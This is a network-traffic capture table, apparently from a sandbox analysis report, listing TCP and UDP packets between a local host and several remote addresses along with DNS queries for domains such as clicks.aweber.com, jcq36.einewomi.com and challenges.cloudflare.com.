Apr 24, 2024 23:08:08.057745934 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.057801008 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.057807922 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.058474064 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.058552980 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.058566093 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.058640957 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.058691025 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.058697939 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.059544086 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.059607029 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.059612989 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.060336113 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.060391903 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.060398102 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.060547113 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.060595036 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.060601950 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.102353096 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.232525110 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.232760906 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.232826948 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.232837915 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.233057022 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.233115911 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.233128071 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.233208895 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.233257055 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.233263016 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.233978033 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.234028101 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.234034061 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.234409094 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.234469891 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.234477043 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.234519005 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.235130072 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.235196114 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.235223055 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.235271931 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.235898018 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.236007929 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.236722946 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.236788034 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.236826897 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.237009048 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.237068892 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.237453938 CEST	49795	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.237472057 CEST	443	49795	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.642606974 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.642673016 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.642731905 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:08.642829895 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.642829895 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.678400993 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:08.678447962 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:09.844224930 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:09.844310999 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:09.844574928 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:09.845026970 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:09.845058918 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.179944992 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.180668116 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:10.180735111 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.181865931 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.182449102 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:10.182631016 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.183285952 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:10.224155903 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.955933094 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.956178904 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:10.956216097 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.956259012 CEST	443	49796	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:10.956331968 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:10.956355095 CEST	49796	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:13.498811960 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:08:13.498975039 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:08:13.499063015 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:08:14.755656004 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:08:14.755688906 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:08:18.806407928 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:18.806457996 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:18.806601048 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:18.807010889 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:18.807029009 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.137099981 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.137444019 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.137497902 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.137828112 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.138362885 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.138437033 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.138581991 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.180159092 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.408608913 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.408653021 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.408898115 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.409302950 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.409318924 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.747519016 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.747905970 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.747922897 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.749387026 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.749681950 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.749779940 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.792870998 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.911685944 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.911808014 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.911926985 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.911990881 CEST	443	49797	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:19.912024021 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:19.912060022 CEST	49797	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:28.140840054 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:28.140923023 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:28.141016006 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:28.169698000 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:28.169734001 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:28.523964882 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:28.524405956 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:28.524444103 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:28.524770021 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:28.525213003 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:28.525281906 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:28.575771093 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:32.453391075 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:32.453419924 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:32.453511000 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:32.453780890 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:32.453795910 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:32.782206059 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:32.782577991 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:32.782607079 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:32.783078909 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:32.783500910 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:32.783579111 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:32.783916950 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:32.828120947 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:33.553536892 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:33.553694010 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:33.553759098 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:33.553833008 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:33.553848982 CEST	443	49802	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:33.553864956 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:33.553903103 CEST	49802	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:34.733534098 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:34.733627081 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:34.733719110 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:34.875168085 CEST	49798	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:34.875200033 CEST	443	49798	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:38.542299986 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:38.542383909 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:38.542443991 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:38.609497070 CEST	49801	443	192.168.2.5	142.250.101.105
Apr 24, 2024 23:08:38.609532118 CEST	443	49801	142.250.101.105	192.168.2.5
Apr 24, 2024 23:08:40.317550898 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:40.317601919 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:40.317683935 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:40.318078995 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:40.318093061 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:40.664388895 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:40.664792061 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:40.664817095 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:40.666253090 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:40.666362047 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:40.666827917 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:40.666907072 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:40.667135954 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:40.667145014 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:40.715615988 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.058571100 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.058674097 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.058744907 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.059247971 CEST	49803	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.059293032 CEST	443	49803	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.060538054 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.060584068 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.060678959 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.060941935 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.060956001 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.406289101 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.406697989 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.406734943 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.407186031 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.407680035 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.407771111 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.407912970 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.448117018 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.794431925 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.794548988 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:41.794605970 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.794903994 CEST	49804	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:08:41.794925928 CEST	443	49804	35.190.80.1	192.168.2.5
Apr 24, 2024 23:08:43.512480974 CEST	49752	443	192.168.2.5	151.101.130.137
Apr 24, 2024 23:08:43.512510061 CEST	443	49752	151.101.130.137	192.168.2.5
Apr 24, 2024 23:08:53.562096119 CEST	49807	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:53.562186003 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:53.562316895 CEST	49807	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:53.562633991 CEST	49807	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:53.562669992 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:53.895406008 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:53.895804882 CEST	49807	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:53.895822048 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:53.897003889 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:53.897727966 CEST	49807	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:53.897727966 CEST	49807	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:53.897742033 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:53.897905111 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:53.950244904 CEST	49807	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:54.669404984 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:54.669761896 CEST	443	49807	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:54.669859886 CEST	49807	443	192.168.2.5	172.67.137.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 23:07:26.368192911 CEST	53	56272	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:26.385243893 CEST	53	62267	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:27.350569010 CEST	53	56562	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:27.478496075 CEST	55013	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:27.478811979 CEST	59361	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:27.634156942 CEST	53	59361	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:27.634284019 CEST	53	55013	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:28.048615932 CEST	60674	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:28.048857927 CEST	60320	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:28.202423096 CEST	53	60674	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:28.202874899 CEST	53	60320	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:28.600435019 CEST	63496	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:28.600589991 CEST	65276	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:29.086936951 CEST	53	63496	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:29.087177038 CEST	53	65276	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:31.784924030 CEST	61662	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:31.785191059 CEST	57824	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:31.785388947 CEST	54058	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:31.785501957 CEST	59666	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:31.962913990 CEST	53	57824	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:31.977448940 CEST	53	61662	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:32.001470089 CEST	53	54058	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:32.001779079 CEST	53	59666	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:33.165643930 CEST	50937	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:33.165988922 CEST	61064	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:33.167325020 CEST	51262	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:33.167325020 CEST	62399	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:33.320372105 CEST	53	61064	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:33.320441961 CEST	53	50937	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:33.321844101 CEST	53	62399	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:33.321959019 CEST	53	51262	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:36.754185915 CEST	56414	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:36.754323006 CEST	50232	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:36.909277916 CEST	53	56414	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:36.909909010 CEST	53	50232	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:38.426429033 CEST	56413	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:38.426615953 CEST	56376	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:38.582144022 CEST	53	56413	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:38.582161903 CEST	53	56376	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:39.561062098 CEST	57269	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:39.561062098 CEST	60042	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:39.714672089 CEST	53	60042	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:39.715289116 CEST	53	57269	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:44.351717949 CEST	53	53679	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:58.186058998 CEST	62931	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:58.186330080 CEST	56088	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:07:58.341463089 CEST	53	56088	1.1.1.1	192.168.2.5
Apr 24, 2024 23:07:58.341486931 CEST	53	62931	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:00.440234900 CEST	63788	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:08:00.440413952 CEST	60578	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:08:00.440745115 CEST	57342	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:08:00.441534042 CEST	64964	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:08:00.594156027 CEST	53	57342	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:00.594508886 CEST	53	60578	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:00.595094919 CEST	53	64964	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:00.610455036 CEST	53	63788	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:03.542679071 CEST	53	63529	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:04.111852884 CEST	53	50887	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:04.142563105 CEST	53	55596	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:25.687747955 CEST	53	61963	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:26.259752989 CEST	53	58765	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:39.973762035 CEST	50716	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:08:39.974169970 CEST	63966	53	192.168.2.5	1.1.1.1
Apr 24, 2024 23:08:40.127743006 CEST	53	50716	1.1.1.1	192.168.2.5
Apr 24, 2024 23:08:40.127794981 CEST	53	63966	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 23:07:27.478496075 CEST	192.168.2.5	1.1.1.1	0xc2b0	Standard query (0)	clicks.aweber.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:27.478811979 CEST	192.168.2.5	1.1.1.1	0x997	Standard query (0)	clicks.aweber.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:28.048615932 CEST	192.168.2.5	1.1.1.1	0xc279	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.048857927 CEST	192.168.2.5	1.1.1.1	0x20be	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:28.600435019 CEST	192.168.2.5	1.1.1.1	0xe6a8	Standard query (0)	acmeauto.in	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.600589991 CEST	192.168.2.5	1.1.1.1	0x31aa	Standard query (0)	acmeauto.in	65	IN (0x0001)	false
Apr 24, 2024 23:07:31.784924030 CEST	192.168.2.5	1.1.1.1	0xaea4	Standard query (0)	presidio.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:31.785191059 CEST	192.168.2.5	1.1.1.1	0x722d	Standard query (0)	presidio.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:31.785388947 CEST	192.168.2.5	1.1.1.1	0x5cf1	Standard query (0)	jcq36.einewomi.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:31.785501957 CEST	192.168.2.5	1.1.1.1	0xcec5	Standard query (0)	jcq36.einewomi.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:33.165643930 CEST	192.168.2.5	1.1.1.1	0xb669	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:33.165988922 CEST	192.168.2.5	1.1.1.1	0x4af4	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:33.167325020 CEST	192.168.2.5	1.1.1.1	0x4b05	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:33.167325020 CEST	192.168.2.5	1.1.1.1	0xbca4	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:36.754185915 CEST	192.168.2.5	1.1.1.1	0x5e5b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:36.754323006 CEST	192.168.2.5	1.1.1.1	0x5de0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:38.426429033 CEST	192.168.2.5	1.1.1.1	0x2ac3	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:38.426615953 CEST	192.168.2.5	1.1.1.1	0x3af0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:39.561062098 CEST	192.168.2.5	1.1.1.1	0xbf71	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:39.561062098 CEST	192.168.2.5	1.1.1.1	0x7498	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 23:07:58.186058998 CEST	192.168.2.5	1.1.1.1	0x3568	Standard query (0)	jcq36.einewomi.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:58.186330080 CEST	192.168.2.5	1.1.1.1	0xe42d	Standard query (0)	jcq36.einewomi.com	65	IN (0x0001)	false
Apr 24, 2024 23:08:00.440234900 CEST	192.168.2.5	1.1.1.1	0xb58	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.440413952 CEST	192.168.2.5	1.1.1.1	0x9e67	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Apr 24, 2024 23:08:00.440745115 CEST	192.168.2.5	1.1.1.1	0x2c5c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.441534042 CEST	192.168.2.5	1.1.1.1	0xe9fb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 23:08:39.973762035 CEST	192.168.2.5	1.1.1.1	0x5f2c	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:39.974169970 CEST	192.168.2.5	1.1.1.1	0xb790	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 23:07:27.634284019 CEST	1.1.1.1	192.168.2.5	0xc2b0	No error (0)	clicks.aweber.com		172.64.151.51	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:27.634284019 CEST	1.1.1.1	192.168.2.5	0xc2b0	No error (0)	clicks.aweber.com		104.18.36.205	A (IP address)	IN (0x0001)	false
